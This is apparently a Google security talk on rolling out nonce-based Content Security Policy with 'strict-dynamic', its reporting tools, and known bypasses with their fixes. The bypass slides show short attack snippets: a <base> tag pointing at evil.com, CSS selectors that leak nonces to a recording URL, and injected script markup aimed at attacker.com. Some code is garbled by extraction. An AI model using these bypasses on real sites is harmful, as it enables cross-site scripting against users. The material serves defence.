So we broke all CSPs ... 

You won't guess what happened next!
We work in a special focus area of the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs.
Recap

what happened last year
Summary

- CSP is mostly used to **mitigate XSS**
- most CSPs are based on whitelists
  - >94% automatically bypassable
- introduced 'strict-dynamic' to ease adoption of policies based on nonces
CSP is Dead, Long Live CSP
On the Insecurity of Whitelists and the Future of Content Security Policy
ACM CCS, 2016, Vienna

https://goo.gl/VRuuFN
Recap: How do CSP Nonces Work?

**Policy based on nonces**

```
<script-src> 'nonce-r4nd0m';
<object-src> 'none';
<base-uri> 'none';
```

- all `<script>` tags with the correct nonce attribute will get executed
- `<script>` tags injected via XSS will be blocked because of missing nonce
- no host/path whitelists
- no bypasses caused by JSONP-like endpoints on external domains
- no need to go through painful process of crafting/maintaining whitelist

This part needs to be random for every response!
Recap: How do CSP Nonces Work?

Content-Security-Policy:

```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

money.example.com

```html
<script nonce="r4nd0m">
doStuff();
</script>
```

```html
<script nonce="r4nd0m"
src="/yep.com/x.js">
```

CSP allows

yep.com
Recap: How do CSP Nonces Work?

Content-Security-Policy:
```
script-src 'nonce-r4nd0m';
report-uri /csp_violation;
```

```
<script nonce="r4nd0m">
doStuff();
</script>
```

```
<script nonce="r4nd0m"
src="/yep.com/x.js">
</script>
```

```
"">'</script
src="/attacker.com">
```

```
"">'</script>alert(42)
</script>
```

money.example.com

CSP allows

CSP allows

CSP blocks

CSP blocks

CSP blocks

source neither nonced nor whitelisted

script without correct nonce

money.example.com/csp_violations

yep.com

attacker.com
Recap: What is 'strict-dynamic'? 

**Strict policy**

```plaintext
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none'; base-uri 'none';
```

▷ grant trust transitivity via a one-use token (**nonce**) instead of listing whitelisted origins

▷ 'strict-dynamic' in a script-src:
  ○ **discards** whitelists (for backward-compatibility)
  ○ allows JS execution when created via e.g. `document.createElement('script')`

▷ enables nonce-only CSPs to work in practice
Recap: What is 'strict-dynamic'?

**Strict policy**

```html
<script nonce="r4nd0m">
    var s = document.createElement("script");
    s.src = "//example.com/bar.js";
    document.body.appendChild(s);
</script>
```

```html
<script nonce="r4nd0m">
    var s = 
    "<script src="/example.com/bar.js"></script>";
    document.write(s);
</script>
```

```html
<script nonce="r4nd0m">
    var s = "<script 
    src="/example.com/bar.js"></script>";
    document.body.innerHTML = s;
</script>
```
Deploying CSP
at Google scale
> 1 Billion Users
get served a strict CSP

~ 50M CSP Reports
yes, there's a lot of noise :)

> 150 Services
that set a strict CSP header
Google Services with a Strict CSP
CSP Support in Core Frameworks

- strict CSP on-by-default for new services
- existing services can be migrated by just switching a flag (e.g. Google+)

requirements:
- service-independent CSP configuration
- conformance tests (disallow inline event handlers)
- templates that support "auto-noncing"
  - Closure Templates (example)
- sophisticated monitoring tools
One Policy to Rule Them All!

Effective Policy in CSP3 compatible browser (strict-dynamic support)

```plaintext
script-src 'nonce-r4nd0m' 'strict-dynamic' 'report-sample' 'unsafe-inline' https;
object-src 'none'; base-uri 'none';
```
Closure Templates with auto-noncing

Example handler

```python
def handle_request(self, request, response):
    CSP_HEADER = 'Content-Security-Policy'
    # Set random nonce per response
    nonce = base64.b64encode(os.urandom(20))
    csp = "script-src 'nonce-' + nonce + '"';"
    self.response.headers.add(CSP_HEADER, csp)

    ijdata = { 'csp_nonce': nonce }
    template_values = {'s': request.get('foo', '')}
    self.send_template('example.test', template_values, ijdata)
```

Closure template

```html
{namespace example autoescape="strict"}
{template .test}
{@param? s: string}
<html>
    <script nonce="PRY7hLUXe98MdJAwNoGSdEpGV0A=">
        var s = '{s}';
    </script>
</html>
{/template}
```

Rendered output

```html
<html>
    <script nonce="PRY7hLUXe98MdJAwNoGSdEpGV0A=">
        var s = 'properlyEscapedUserInput';
    </script>
</html>
```
SHIP IT !!1

but wait... How do we find out if everything is still working?

CSP violation reports!

Problem
- so far most inline violation reports were NOT actionable :(
- no way to distinguish between actual breakage and noise from browser extensions...
- we receive ~50M reports / day → Noise!
New 'report-sample' keyword

"Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression"
New 'report-sample' keyword

- `report-sample` governs `script-sample`
  - Firefox already sends script "samples"
  - new 'report-sample' keyword also includes samples for inline-event handlers!

- added to CSP3 and ships with Chrome 59
New 'report-sample' keyword

CSP

```
script-src 'nonce-abc'; report-uri /csp;
```

HTML

<table>
<thead>
<tr>
<th>Inline script</th>
<th>Inline Event Handler</th>
<th>script injected by browser extension</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;html&gt;</code></td>
<td><code>&lt;html&gt;</code></td>
<td><code>&lt;html&gt;</code></td>
</tr>
<tr>
<td><code>&lt;script&gt;</code>hello(1)<code>&lt;/script&gt;</code></td>
<td><code>&lt;img onload=&quot;loaded()&quot;&gt;</code></td>
<td><code>&lt;script&gt;</code>try <code>{</code></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td><code>window.AG_onLoad = function(func)</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td>...</td>
</tr>
</tbody>
</table>

Report

- **Inline script**
  - csp-report:
    - blocked-uri:"inline"
    - document-uri:"https://f.bar/foo"
    - effective-directive:"script-src"

- **Inline Event Handler**
  - csp-report:
    - blocked-uri:"inline"
    - document-uri:"https://f.bar/foo"
    - effective-directive:"script-src"

- **script injected by browser extension**
  - csp-report:
    - blocked-uri:"inline"
    - document-uri:"https://f.bar/foo"
    - effective-directive:"script-src"

⚠️ 3 different causes of violations yield the exact same report! → not possible to filter out noise from extensions
New 'report-sample' keyword

**CSP**
```
script-src 'nonce-abc' 'report-sample'; report-uri /csp;
```

**Inline script**
```
<html>
  <script>hello(1)</script>
</html>
```

**Inline Event Handler**
```
<html>
  <img onload="loaded()"/>
</html>
```

**script injected by browser extension**
```
<html>
  <script>try {
    window.AG_onload = function(func)...
  }
</script>
```

**HTML**
```
csp-report:
  blocked-uri:"inline"
  document-uri:"https://f.bar/foo"
  effective-directive:"script-src"
  script-sample:"hello(1)"
```

```
csp-report:
  blocked-uri:"inline"
  document-uri:"https://f.bar/foo"
  effective-directive:"script-src"
  script-sample:"loaded()"
```

```
csp-report:
  blocked-uri:"inline"
  document-uri:"https://f.bar/foo"
  effective-directive:"script-src"
  script-sample:"try {
    window.AG_onload = function(func)...
  }
```

(script-sample allows to differentiate different violation causes)
Report Noise

(script-sample can be used to create signatures for e.g. noisy browser extensions)

<table>
<thead>
<tr>
<th>Count</th>
<th>script-sample</th>
<th>Cause</th>
</tr>
</thead>
<tbody>
<tr>
<td>1,058,861</td>
<td>try { var AG_onLoad=function(func){if(d...</td>
<td>AdGuard Extension</td>
</tr>
<tr>
<td>424,701</td>
<td>(function (a,x,m,l){var c={safeWindow:{}}...</td>
<td>Extension</td>
</tr>
<tr>
<td>316,585</td>
<td>(function installGlobalHook(window)</td>
<td>React Devtools Extension</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

Nice collection of common noise signatures: https://github.com/nico3333fr/CSP-useful/blob/master/csp-wtf/README.md
CSP tools @Google

time for some real engineering!
CSP Mitigator

▷ fast and easy CSP deployment analysis tool

▷ identifies parts of your application which are not compatible with CSP

▷ helps make necessary changes before deployment

https://goo.gl/oQDEIs
CSP Evaluator  csp-evaluator.withgoogle.com

Content Security Policy

```
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' 'none' 127.0.0.1 http://[2a00:79e8:1b:2:b466:5fd8:dc72:f00e]/foo/bar;
img-src https://data:;
child-src data:;
foo/bar-src 'foo/bar';
report-uri http://csp.example.com;
```

CSP Version 3 (nonce based + backward compatibility checks)

CHECK CSP

Evaluated CSP as seen by a browser supporting CSP Version 3

- **script-src**
  - Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
  - 'unsafe-inline' allows the execution of unsafe in-page scripts and event handlers.
  - 'unsafe-eval' allows the execution of code injected into DOM APIs such as eval().
  - 'self' can be problematic if you host JSONP, Angular or user uploaded files.
  - data: URI in script-src allows the execution of unsafe scripts.
  - https://www.google.com is known to host JSONP endpoints which allow to bypass this CSP.
  - http://www.google-analytics.com/gtm.js
  - https://gstatic.com/feedback/
  - https://ajax.googleapis.com

- **style-src**

- **default-src**

- **img-src**

- **child-src**

- **foo/bar-src**
  - Directive "foo/bar-src" is not a known CSP directive.

- **report-uri**

- **object-src {missing}**
  - Can you restrict object-src to 'none'?
CSP Frontend

▷ intelligent report deduplication strategies
  ○ aggressive deduplication by default
    ■ leverages 'script-sample'

▷ real-time filtering of violation report fields

▷ ability to drill-down to investigate further
### High-Level View

#### Violations Count by Directive

- **script-src**: 1,000 violations
- **inline**: 500 violations
- **about**: 200 violations
- **<empty>**: 100 violations

#### Violations Trend by Directive

- **script-src**: Maximum violations in April 10
- **inline**: Consistent trend with peaks
- **about**: Steady increase
- **<empty>**: Minimal trend

### Violations Table

<table>
<thead>
<tr>
<th>Count</th>
<th>Last Seen</th>
<th>Last Document URI</th>
<th>Last Blocked URI</th>
<th>Directive</th>
<th>Sample</th>
<th>Last Browser</th>
</tr>
</thead>
</table>
## Detailed CSP Violation Reports View

<table>
<thead>
<tr>
<th>Count</th>
<th>Last Seen</th>
<th>Last Document URI</th>
<th>Last Blocked URI</th>
<th>Directive</th>
<th>Sample</th>
<th>Last Browser</th>
</tr>
</thead>
</table>
Measuring Coverage

▷ monitor CSP header coverage for HTML responses

▷ alerts
  ○ no CSP
  ○ bad CSP
    ■ evaluated by the CSP Evaluator automatically
What can go wrong? bypasses and how to deal with them
Injection of `<base>`

```html
<script-src 'nonce-r4nd0m';

<!-- XSS -->
<base href="https://evil.com/">
<!-- End XSS -->
...
<script src="foo/bar.js" nonce="r4nd0m"></script>
```

▷ **Problem**
  - re-basing nonced scripts to evil.com
  - scripts will execute because they have a valid nonce :(

Credit: @jackmasa
http://sebastian-lekies.de/csp/bypasses.php
Injection of `<base>`

```html
<script-src 'nonce-r4nd0m';
base-uri 'none';
</script>

<!-- XSS -->
/base href="https://evil.com/">
<!-- End XSS -->
...
<script src="foo/bar.js" nonce="r4nd0m"></script>
```

▷ Solution

- add `base-uri 'none'`
- or 'self', if 'none' is not feasible and there are no path-based open redirectors on the origin

Credit: @jackmasa
http://sebastian-lekies.de/csp/bypasses.php
Problem

- SVG `<set>` can change attributes of other elements in Chromium

Solution

- prevent SVG from animating `<script>` attributes (fixed in Chrome 58)
Steal and Reuse Nonces

via CSS selectors

```html
<!-- XSS -->
<style>
script { display: block }
script[nonce^="a"]:after { content: url("record?a") }
script[nonce^="b"]:after { content: url("record?b") }
</style>
<!-- End XSS -->
<script src="foo/bar.js" nonce="r4nd0m"></script>
```

Credit: Eduardo Vela Nava, Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php
Steal and Reuse Nonces

via dangling markup attack

Credit: Eduardo Vela Nava, Sebastian Lekies
http://sebastian-lekies.de/csp/bypasses.php
Steal and **Reuse** Nonces

- make the browser **reload** the original document without triggering a server request: HTTP cache, AppCache, browser B/F cache

```javascript
victimFrame.src = "data:text/html,<script>history.back()</script>"
```
Steal and **Reuse Nonces**

- exploit cases where attacker can trigger the XSS *multiple times*
  - XSS due to data received via `postMessage()`
  - persistent DOM XSS where the payload is fetched via XHR and "re-synced"

![Excel Table](image-url)
Mitigating Bypasses

▷ injection of `<base>`
  ○ fixed by adding `base-uri 'none'`

▷ replace legitimate `<script#src>` (Chrome bug)
  ○ fixed in Chrome 58+

▷ prevent exfiltration of nonce
  ■ do not expose the nonce to the DOM at all
    ● during parsing, replace the nonce attribute with a dummy value (`nonce="[Replaced]"`) 
    ● fixed in Chrome 59+
Mitigating Bypasses

mitigating dangling markup attacks?

- precondition:
  - needs \textit{parser-inserted} sink like \texttt{document.write} to be exploitable

- proposal to forbid parser-inserted sinks (opt-in) - fully compatible with \textit{strict-dynamic} and enforces best coding practices
JS Framework/Library CSP Bypasses

▷ strict CSP protects from traditional XSS

▷ commonly used libraries and frameworks introduce bypasses
  ○ eval-like functionality using a non-script DOM element as a source
  ○ a problem with unsafe-eval or with strict-dynamic if done through createElement('script')

Credit: Sebastian Lekies, Krzysztof Kotowicz, Eduardo Vela Nava
JS Framework/Library CSP Bypasses

Solution: make the framework/library CSP-aware

- add extra JS checks close to dangerous sinks
  - "code whitelist"
    - isCodeWhiteListed(code)
  - nonce checking
    - isScriptTagNonced(element)
- similar primitives apply to different frameworks/libraries
jQuery 2.x

▷ example: jQuery 2.x
  ○ via $.html, $.append/prepend, $.replaceWith ...
  ○ parses <script>...</script> and puts it in a dynamically generated script tag or through eval
jQuery 2.x Script Evaluation Logic

```javascript
// Evaluates a script in a global context
globalEval: function(code) {
    var script,
        indirect = eval;

    code = jQuery.trim(code);

    if (code) {
        // If the code includes a valid, prologue position
        // strict mode pragma, execute code by injecting a
        // script tag into the document.
        if (code.indexOf("use strict") === 1) {
            script = document.createElement("script");
            script.text = code;
            document.head.appendChild(script).parentNode.removeChild(script);
        } else {
            // Otherwise, avoid the DOM node creation, insertion
            // and removal by using an indirect global eval
            indirect(code);
        }
    }
},
```
jQuery 2.x

- **Dropbox** fixed the issue by checking nonces:
  - `$('#element').html('<script nonce=valid>alert(1)</script>')`
Wrapping up

get your questions ready!
## Current state of CSP

<table>
<thead>
<tr>
<th>CSP type</th>
<th>Deployment difficulty</th>
<th>Protects against</th>
<th>Vulnerable to</th>
</tr>
</thead>
<tbody>
<tr>
<td>Whitelist-based</td>
<td>😞</td>
<td>✗</td>
<td>✔️</td>
</tr>
<tr>
<td>Nonce-only</td>
<td>😞</td>
<td>✔️</td>
<td>✗</td>
</tr>
<tr>
<td>Nonce + 'strict-dynamic'</td>
<td>😃</td>
<td>✔️</td>
<td>✗</td>
</tr>
<tr>
<td>Hash-only</td>
<td>😞</td>
<td>✔️</td>
<td>✗</td>
</tr>
<tr>
<td>Hash + 'strict-dynamic'</td>
<td>😞</td>
<td>✔️</td>
<td>✗</td>
</tr>
</tbody>
</table>

1. Only if frameworks with symbolic JS execution capabilities are hosted on a whitelisted origin
2. Only if frameworks with symbolic JS execution capabilities are running on the page
3. Applies to "unpatched" browsers (latest Chromium not affected)
4. Several constraints apply: framework/library used, modules loaded, ...
Wrapping Up

▷ CSP whitelists are broken
▷ nonces + strict-dynamic greatly simplify CSP rollout
▷ CSP is not a silver bullet
  ○ there are bypasses with various degrees of pre-conditions and constraints
▷ Overall CSP is still a very powerful defense-in-depth mechanism to mitigate XSS
Thanks!

Any questions?

Learn more at: csp.withgoogle.com

@mikispag
@we1x
{lwe,mikispag}@google.com
JS framework/library hardening

```javascript
window.ScriptGadgetsHardener = function ScriptGadgetsHardener() {

  // Attempt to retrieve the valid nonce from the current script, if present.
  this.validNonce = document.currentScript &&
      (document.currentScript.nonce ||
      document.currentScript.getAttribute('nonce'));
  // If unsuccessful, consider the first script tag with a nonce as valid.
  if (!this.validNonce) {
    var firstNoncedScript = document.querySelector('script[nonce]');
    if (firstNoncedScript) {
      this.validNonce =
          firstNoncedScript.nonce || firstNoncedScript.getAttribute('nonce');
    }
  }

  // this.validNonce is undefined iff no nonced scripts are present on the page.

  // The code whitelist.
  this.whitelist = [];

  // If true, sends a CSP-like violation report to an endpoint via XHR.
  this.reportingMode = false;

  // The reporting endpoint.
  this.reportUrl = 'https://csp.withgoogle.com/csp/script_gadgets_hardener/';

};
```
window.ScriptGadgetsHardener.prototype.isNonced = function(element) {
    var elementNonce = element nonce || element.getAttribute('nonce');
    // In case this.validNonce is undefined, we fail-open and return true.
    var isAllowed = elementNonce === this.validNonce;

    if (!isAllowed) {
        console.error('ScriptGadgetsHardener] Refusing to execute JS because ' +
                      'the provided DOM element does not have a valid nonce.');
        if (this.reportingMode) {
            this.sendReport(element);
        }
    }

    return isAllowed;
}

window.ScriptGadgetsHardener.prototype.isWhitelisted = function(code) {
    var isAllowed = this.whitelist.indexOf(code) !== -1;

    if (!isAllowed) {
        console.error('ScriptGadgetsHardener] Refusing to execute JS because the provided ' +
                      'code (' + code.substring(0, 40) + ') is not whitelisted.');
        if (this.reportingMode) {
            this.sendReport(null, code);
        }
    }

    return isAllowed;
}